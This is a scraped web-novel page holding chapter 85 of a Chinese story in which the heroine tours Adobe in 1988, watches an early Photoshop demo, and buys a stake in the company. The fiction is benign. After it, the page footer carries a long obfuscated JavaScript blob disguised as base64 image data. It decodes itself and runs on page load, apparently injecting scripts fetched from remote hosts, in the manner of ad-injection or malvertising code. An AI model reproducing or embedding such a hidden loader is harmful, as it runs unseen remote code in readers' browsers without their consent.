首页
第85章 数字暗房
返回
关灯 护眼:关 字号:小

第85章 数字暗房

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第85章数字暗房(第1/2页)
    (感谢“AlimO墨锦”送出的大神认证!感谢“喜欢绿果的梁王”送出的大神认证!加更一章~)
    山景城,查尔斯顿路1585号。
    这是一栋其貌不扬的米色两层建筑,隐藏在几棵高大的橡树后面。如果不仔细看门口那块小小的金属铭牌,没人会把这里和那个即将在出版界掀起惊涛骇浪的名字联系在一起。
    AdObeSyStemS。
    相比于昨天在OpUSOne酒庄的惬意,或者是思科车库里的混乱,这里的空气中弥漫着一种更为严谨的工程师气息。灰色的地毯,米白色的隔断,打印机吐出纸张的细微沙沙声此起彼伏。
    约翰·沃诺克早早地等在前台。他今天穿了一件深蓝色的POlO衫,手里拿着一杯还在冒热气的咖啡,看到皋月一行人推门进来,立刻放下了杯子。
    “西园寺小姐,还有……铃木小姐。”
    沃诺克热情地迎上来,甚至主动帮艾米拉开了玻璃门。
    “昨天回去后,我们要查克连夜修改了渲染算法。虽然只是个临时的补丁,但预览速度确实提升了三倍。铃木小姐,你的直觉简直准得可怕。”
    艾米有些不好意思地缩了缩脖子,手指紧紧抓着书包带子。
    “我……我只是随口一说。”
    “随口一说往往是最接近真理的。”
    沃诺克领着她们穿过办公区,走进尽头的一间实验室。
    这里没有窗户,光线很暗。几台硕大的显示器发出幽幽的荧光,散热风扇的嗡嗡声在封闭的空间里回荡。
    房间中央摆着一台MaCintOShII,旁边连接着一台巨大的平板扫描仪。
    查尔斯·格施克正坐在电脑前,旁边还站着一个留着长发、看起来像个摇滚乐手的年轻人。
    “这是托马斯·诺尔(ThOmaSKnOll)。”沃诺克介绍道,“他在密歇根大学读博士,这个软件最初的核心代码是他写的。”
    那个叫托马斯的年轻人有些腼腆地点了点头,让出了位置。
    屏幕上是一张彩色照片。
    那是一个穿着红色泳衣的女人,正躺在沙滩上晒太阳。背景是碧蓝的大海和白色的沙滩。(这是历史上第一张被PS的照片“JenniferinParadiSe”)
    “这是我们目前的版本,代号‘DiSplay’。”
    托马斯握住鼠标,那是早期那种方方正正、只有单键的鼠标。
    “请看。”
    他点击了工具栏上的一个套索图标,小心翼翼地沿着那个女人的轮廓画了一圈。虚线闪烁起来,像是流动的蚂蚁。
    接着,他打开了一个色盘,选中了蓝色。
    鼠标点击“填充”。
    屏幕闪烁了一下。
    原本红色的泳衣,瞬间变成了深蓝色。
    虽然边缘还有些生硬的锯齿,颜色过渡也不算太自然,但在1988年,这一幕足以让任何一个习惯了胶片和暗房的人感到窒息。
    “嘶——”
    艾米倒吸了一口凉气。
    她猛地凑近屏幕,摘下眼镜揉了揉眼睛,又重新戴上。
    “变……变了?”
    艾米伸出手指,想要触碰屏幕,却又缩了回来。
    “这是怎么做到的?底片呢?不需要洗出来再涂色吗?”
    在她那属于硬件工程师的认知里,图像是物理的。要修改照片,得用毛笔蘸着颜料在照片上描,或者用刀片在底片上刮。一旦手抖,整张底片就废了。
    但现在,只要点一下鼠标。
    “这就是数字化的魔力。”
    皋月站在艾米身后,看着屏幕上那个蓝色的泳衣。
    “没有底片,没有显影液,没有刺鼻的药水味。一切都是数据。0和1可以变成红色,也可以变成蓝色。”
    她转头看向沃诺克。
    “这就是我昨天说的‘应用场景’。”
    皋月从包里拿出一本S-COlleCtiOn的当季画册,放在桌子上。
    “沃诺克先生,您知道为了拍这本画册,我们花了多少钱吗?”
    沃诺克拿起画册,翻了几页。精美的铜版纸上,模特穿着不同颜色的衣服,在巴黎的街头摆着各种姿势。
    “这一款风衣有五个颜色。”
    皋月指着其中一页。
    “为了拍齐这五个颜色,我们需要把五件样衣都运到巴黎。模特要换五次衣服,补五次妆。摄影师要调整五次灯光。如果那天阴天,或者模特脸上长了颗痘痘,整个剧组都要停工等待。”
    “成本,效率,不可控的风险。”
    “我不喜欢不可控。”
    皋月的手指在那个蓝色的泳衣上点了点。
    “但有了这个。”
    “我只需要拍一件白色的。然后在电脑上,把它变成红色、蓝色、黄色、甚至带花纹的。”
    “如果模特皮肤不好,我可以把她的脸修得像瓷器一样光滑。如果背景里有垃圾桶,我可以把它抹掉。”
    “你们卖的不是软件。”
    皋月的声音在昏暗的实验室里回荡。
    “你们卖的是‘后悔药’。是让时光倒流、让现实屈服于审美的权力。”
    沃诺克和格施克对视一眼。
    他们一直把这个软件定位为给专业印刷厂校色的工具,从未想过它能直接颠覆整个时尚产业的生产流程。
    “后悔药……”托马斯喃喃自语,“这个比喻太精准了。”
    “艾米,你来试试。”
    皋月拍了拍艾米的肩膀。
    “啊?我?”艾米连连摆手,“我不行的,万一弄坏了……”
    “那是软件,又不是硬件,弄坏了重启就行。”
    (本章未完,请点击下一页继续阅读)第85章数字暗房(第2/2页)
    皋月把她按在椅子上。
    艾米颤抖着手,握住了那只沉甸甸的鼠标。底部的滚球在鼠标垫上滚动,发出沉闷的摩擦声。
    她看着屏幕上的光标。
    “试试把那个遮阳伞移走。”托马斯在一旁指导,“用那个‘克隆’工具。”
    艾米选中了那个像印章一样的图标。
    她按住鼠标,在旁边的沙滩上取样,然后小心翼翼地涂抹在那把遮阳伞上。
    随着她的动作,原本存在的遮阳伞一点点消失,取而代之的是细腻的沙滩纹理。
    就像是橡皮擦擦掉了铅笔字。
    但这是照片。是现实的影像。
    “这也太……”
    艾米盯着屏幕,手指不再颤抖,而是变得灵活起来。
    她试着把天空涂得更蓝,试着在沙滩上画了一个圆圈。
    屏幕上的像素点随着她的意志排列组合。
    那种掌控感,那种随心所欲修改画面的反馈,比拿着烙铁焊电路板要直观一百倍,也要刺激一百倍。
    “好玩。”
    艾米抬起头,眼睛里闪烁着光芒。
    “这比修收音机好玩多了!”
    皋月看着艾米那兴奋的侧脸,笑了。
    她转过身,看向身后的两位创始人。
    “沃诺克先生,格施克先生。”
    皋月从手包里拿出一份文件。
    “S.A.InveStment希望出资五百万美元,收购AdObe公司5%的股份,并获得这款软件在亚洲地区的独家代理权。”
    “五百万?”
    沃诺克眉毛挑了一下。
    AdObe去年刚上市,虽然市值在涨,但五百万美元依然是一笔巨款。特别是对于PhOtOShOp这个还处于孵化阶段、甚至还没正式命名的项目来说,这简直是天上掉馅饼。
    “而且,我们会成为你们的第一个企业级客户。”
    皋月补充道。
    “S-COlleCtiOn下一季的宣传册,将全部使用这款软件制作。这会是最好的广告。”
    “只要你们点头,支票就在这里。”
    沃诺克没有犹豫太久。
    现在的AdObe主要靠POStSCript授权赚钱,虽然利润不错,但急需开辟第二战场。这个图像处理软件虽然有潜力,但极其消耗资源,董事会一直有反对的声音。
    现在有人愿意出钱,还自带应用场景,何乐而不为?
    “成交。”
    沃诺克伸出手。
    “欢迎成为AdObe的伙伴,西园寺小姐。”
    皋月握住他的手,力度适中。
    “合作愉快。”
    她回头看了一眼还在玩得不亦乐乎的艾米。
    艾米正在尝试把那个女人的头发变成金色的,嘴里还念念有词:“如果把RGB通道的参数调一下……”
    “看来,我的技术顾问很喜欢她的新玩具。”
    皋月笑了笑。
    “那就让她在这里多玩一会儿吧。藤田,我们在外面等。”
    ......
    走出AdObe的大楼,加州的阳光有些刺眼,带着正午特有的白燥。
    皋月站在台阶上,微微眯起眼睛。空气里混合着干燥的尘土味和远处草坪修剪过的青草味。
    藤田刚早已拉开了凯迪拉克的后座车门,戴着白手套的手挡在门框上方,身姿笔挺。他没有问那个价值五百万美元的软件到底有什么用,之前修一就已经跟他们这些家臣说过了,大小姐的决定即是真理,他只需要负责将支票送到,并保证大小姐的安全。
    “藤田。”
    皋月并没有立刻上车,她的目光越过车顶,投向了路边的一块巨型广告牌。
    那是一个万宝路香烟的广告。夕阳下的西部峡谷,牛仔骑在马上,背景是壮丽得近乎虚幻的红色岩石。
    “在。”藤田刚微微欠身。
    “你看那个。”皋月抬起下巴点了点那块广告牌,“以前,人们相信‘眼见为实’。照片拍出来是什么样,世界就是什么样。那是胶片时代的‘诚实’。”
    她摘下帽子,手指轻轻摩挲着帽檐的边缘,嘴角勾起一抹意味深长的弧度。
    “但很快,‘真实’将变得一文不值。”
    “我们刚刚买下的,不是一个工具,而是一把刀。一把可以随意切割现实、缝合梦境的刀。”
    皋月转过头,看着藤田。
    “以后,我们可以让天空更蓝,让皮肤更白,甚至让不存在的东西凭空出现。我们将拥有定义‘美’的权力。”
    “这才是最高级的谎言,也是未来最昂贵的生意。”
    藤田刚虽然不懂计算机软件,但他听懂了“权力”和“生意”。他深深地鞠了一躬,没有多言,只是将腰弯得更低,以此表达对主君远见的敬畏。
    “走吧,让我们在车里等她。”
    皋月弯腰坐进车里,黑色的车窗缓缓升起,隔绝了外面的热浪。
    而在二楼那间昏暗的实验室里,百叶窗的缝隙漏进几缕光线,尘埃在光柱中飞舞。
    艾米依然坐在那台发热的显示器前,鼻尖渗出细密的汗珠,完全忘记了时间的流逝。
    屏幕的幽幽荧光映在她的眼镜片上,反射出五彩斑斓的光晕。
    她屏住呼吸,手里的鼠标轻轻移动。
    在那个由0和1构成的虚拟沙滩上,随着光标的轨迹,一只原本不存在的白色海鸥,缓缓舒展双翼。
    “咔哒。”
    鼠标的微动开关发出了一声极轻的脆响。
    海鸥定格在湛蓝的像素天空中,仿佛下一秒就要冲出屏幕,飞向那个即将被改写的现实世界。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();